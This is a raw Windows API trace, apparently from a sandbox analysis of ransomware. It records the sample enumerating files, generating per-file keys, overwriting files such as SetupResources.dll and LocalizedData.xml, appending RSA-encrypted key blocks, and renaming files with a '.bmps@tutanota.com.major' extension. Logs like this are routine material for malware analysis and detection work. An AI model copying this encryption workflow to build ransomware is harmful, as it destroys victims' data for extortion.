CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0133.665] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0133.665] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0133.665] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0133.665] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="xc6wT7suDh+am042OYm1rblq9YniqRlKZJcgikt737QMy76YhtrGbXaHm3neyK+X\nhf09vSCyQ0aUGWUkLq6UWz9rmOvCR1/wJ9qKE2GAa6Syw3xNPgRCgCWWEnanbe0r\nfPwv/5OHbTN9s9EVZ1ZwBp2T4h1L42zBY6YXL4hK18H01heGA9YX2yFe1FAFhMtI\nB+o3p8CNWyTReuIe1t+fpS+dfmMY2tPAkwpMjj2XCbc6vyrBEh5lLNGJjpii5+KD\nK66/PyaW9y9+eaVwm9ELN2+xH9duBuUStDMAgd84xDTIq/crELXJFmWVn4nXjkbU\nK1geoD5JPqF+jWj3hWz4jQ==\n", pcchString=0x2e3f9a8) returned 1 [0133.665] WriteFile (in: hFile=0x488, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0133.665] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0133.665] WriteFile (in: hFile=0x488, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0133.665] CloseHandle (hObject=0x488) returned 1 [0133.666] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0133.666] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1028\\eula.rtf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0133.667] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0133.667] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0133.667] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0133.667] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0133.667] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0133.667] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0133.667] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0133.667] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1040 | out: hHeap=0x570000) returned 1 [0133.667] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffabe9b0, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5a2ed0 [0133.667] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0133.667] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0133.667] GetLastError () returned 0x0 [0133.668] SetLastError (dwErrCode=0x0) [0133.668] GetLastError () returned 0x0 [0133.668] SetLastError (dwErrCode=0x0) [0133.668] GetLastError () returned 0x0 [0133.668] SetLastError (dwErrCode=0x0) [0133.668] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e900 [0133.668] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0133.668] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0133.668] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0133.668] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a2f50 [0133.668] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2f50 | out: hHeap=0x570000) returned 1 [0133.668] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404b0 [0133.668] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404b0 | out: hHeap=0x570000) returned 1 [0133.668] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0133.668] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0133.668] FindNextFileW (in: hFindFile=0x5a2ed0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffabe9b0, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0133.668] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0133.668] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0133.668] GetLastError () returned 0x0 [0133.668] SetLastError (dwErrCode=0x0) [0133.668] GetLastError () returned 0x0 [0133.668] SetLastError (dwErrCode=0x0) [0133.668] GetLastError () returned 0x0 [0133.668] SetLastError (dwErrCode=0x0) [0133.668] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ecf0 [0133.669] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0133.669] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0133.669] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0133.669] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a2f50 [0133.669] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2f50 | out: hHeap=0x570000) returned 1 [0133.669] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40630 [0133.669] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40630 | out: hHeap=0x570000) returned 1 [0133.669] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0133.669] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ecf0 | out: hHeap=0x570000) returned 1 [0133.669] FindNextFileW (in: hFindFile=0x5a2ed0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0133.669] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0133.669] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0133.669] GetLastError () returned 0x0 [0133.669] SetLastError (dwErrCode=0x0) [0133.669] GetLastError () returned 0x0 [0133.669] SetLastError (dwErrCode=0x0) [0133.669] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0133.669] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0133.669] GetLastError () returned 0x0 [0133.669] SetLastError (dwErrCode=0x0) [0133.669] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0133.669] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0133.669] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0133.669] FindNextFileW (in: hFindFile=0x5a2ed0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0133.669] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0133.669] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0133.669] GetLastError () returned 0x0 [0133.669] SetLastError (dwErrCode=0x0) [0133.669] GetLastError () returned 0x0 [0133.669] SetLastError (dwErrCode=0x0) [0133.669] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0133.669] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0133.669] GetLastError () returned 0x0 [0133.669] SetLastError (dwErrCode=0x0) [0133.669] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e9a8 [0133.669] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e9a8 | out: hHeap=0x570000) returned 1 [0133.669] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0133.669] FindNextFileW (in: hFindFile=0x5a2ed0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffabe9b0, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xffabe9b0, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xffabe9b0, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0133.670] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0133.670] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0133.670] GetLastError () returned 0x0 [0133.670] SetLastError (dwErrCode=0x0) [0133.670] GetLastError () returned 0x0 [0133.670] SetLastError (dwErrCode=0x0) [0133.670] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0133.670] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0133.670] GetLastError () returned 0x0 [0133.670] SetLastError (dwErrCode=0x0) [0133.670] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0133.670] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0133.670] FindNextFileW (in: hFindFile=0x5a2ed0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0133.670] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0133.670] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0133.670] GetLastError () returned 0x0 [0133.670] SetLastError (dwErrCode=0x0) [0133.670] GetLastError () returned 0x0 [0133.670] SetLastError (dwErrCode=0x0) [0133.670] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0133.670] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0133.670] GetLastError () returned 0x0 [0133.670] SetLastError (dwErrCode=0x0) [0133.670] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e900 [0133.670] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0133.670] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0133.670] FindNextFileW (in: hFindFile=0x5a2ed0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0133.670] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0133.670] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0133.670] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0133.670] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1029\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0133.671] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0133.671] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0133.671] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0133.671] CreateFileW (lpFileName="\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x48c [0133.671] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=18264) returned 1 [0133.671] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4758) returned 0x5ed868 [0133.671] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4758) returned 0x5f1fc8 [0133.671] ReadFile (in: hFile=0x48c, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x4758, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x4758, lpOverlapped=0x0) returned 1 [0133.728] SetFilePointer (in: hFile=0x48c, lDistanceToMove=-18264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.728] WriteFile (in: hFile=0x48c, lpBuffer=0x5f1fc8*, nNumberOfBytesToWrite=0x4758, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5f1fc8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4758, lpOverlapped=0x0) returned 1 [0133.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0133.728] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5f1fc8 | out: hHeap=0x570000) returned 1 [0133.729] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4758 [0133.729] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0133.729] WriteFile (in: hFile=0x48c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0133.729] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0133.729] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0133.730] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0133.730] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0133.730] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="cMwd7BJT3fuBz1B/ewbQTuHWCfE/QbEe36WSXZ4ZHDTZ1bTSxRdkzZKxU6NjZj3R\nZcfHx7ej+6F3HT2R1YRoEFHq+9e3JI5tbQZ9BHRnpdjHg6Dx1jpbtsL4dWxXOH/z\nUUC0wX1jQeax8xf2e9LsxYodyt80qS8lueo8f7QvwYJlJpTYGaguuY/MlC3v5QiZ\nMQFgFM8eipcERmcgJ4dpfJ7An/OMC/MOdN4HSzYCoL8VonYUK3h46zMnEmm1RXqC\ndMk+rwmmPirmAuESbECTvEvyIRvj+HFcN+NDi1zOZQ6fZzXM17U7l+UbSgQRXMAe\nif1Oj1kljEdq26Sij86Fbw==\n", pcchString=0x2e3f9a8) returned 1 [0133.730] WriteFile (in: hFile=0x48c, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0133.730] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0133.731] WriteFile (in: hFile=0x48c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0133.731] CloseHandle (hObject=0x48c) returned 1 [0133.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0133.732] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1029\\SetupResources.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0133.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0133.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0133.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0133.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0133.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0133.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0133.734] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0133.734] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1029\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0133.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0133.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0133.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0133.735] CreateFileW (lpFileName="\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x48c [0133.735] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=80970) returned 1 [0133.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x13c4a) returned 0x5ed868 [0133.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x13c4a) returned 0x6014c0 [0133.735] ReadFile (in: hFile=0x48c, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x13c4a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x13c4a, lpOverlapped=0x0) returned 1 [0133.931] SetFilePointer (in: hFile=0x48c, lDistanceToMove=-80970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.931] WriteFile (in: hFile=0x48c, lpBuffer=0x6014c0*, nNumberOfBytesToWrite=0x13c4a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6014c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x13c4a, lpOverlapped=0x0) returned 1 [0133.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0133.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6014c0 | out: hHeap=0x570000) returned 1 [0133.933] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x13c4a [0133.933] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0133.933] WriteFile (in: hFile=0x48c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0133.933] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0133.933] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0133.934] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0133.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0133.934] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="pFLaMfDQXLtGpk1ayBNxdFbhgyZ/H2FDeETt01ZC3AA/Zvv0EQwLyUQ366p8/7/i\nxxwI2aN6tN5121GwQpGXqHSKFMSOJzLhgDOcPZvZCljG/1FyQYPoxpTfphmF9aI/\n8RwAGIcf0TWSOX8G4f6BvI7kaVuijfOKU/dt4m0VNm8Tb06lSexo5sWIFOeqxiyB\nfGx+X85vzs07EWtOHXxw/bghgChZCq95dwSpaMrmuPNu9VKMzUTH0hNRq8/Gl4o+\nFTODspBa7lfLdP7EwhfT03QoItUTkcXJ3xpZFHFsXOJfv+DfGpcoYgdSfzbaDeM0\nJBksKvLm9V61sDc8R21SYg==\n", pcchString=0x2e3f9a8) returned 1 [0133.935] WriteFile (in: hFile=0x48c, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0133.935] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0133.935] WriteFile (in: hFile=0x48c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0133.935] CloseHandle (hObject=0x48c) returned 1 [0133.936] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0133.936] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1029\\LocalizedData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0133.959] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0133.959] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0133.959] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0133.959] HeapFree (in: hHeap=0x570000, dwFlags=0x0, 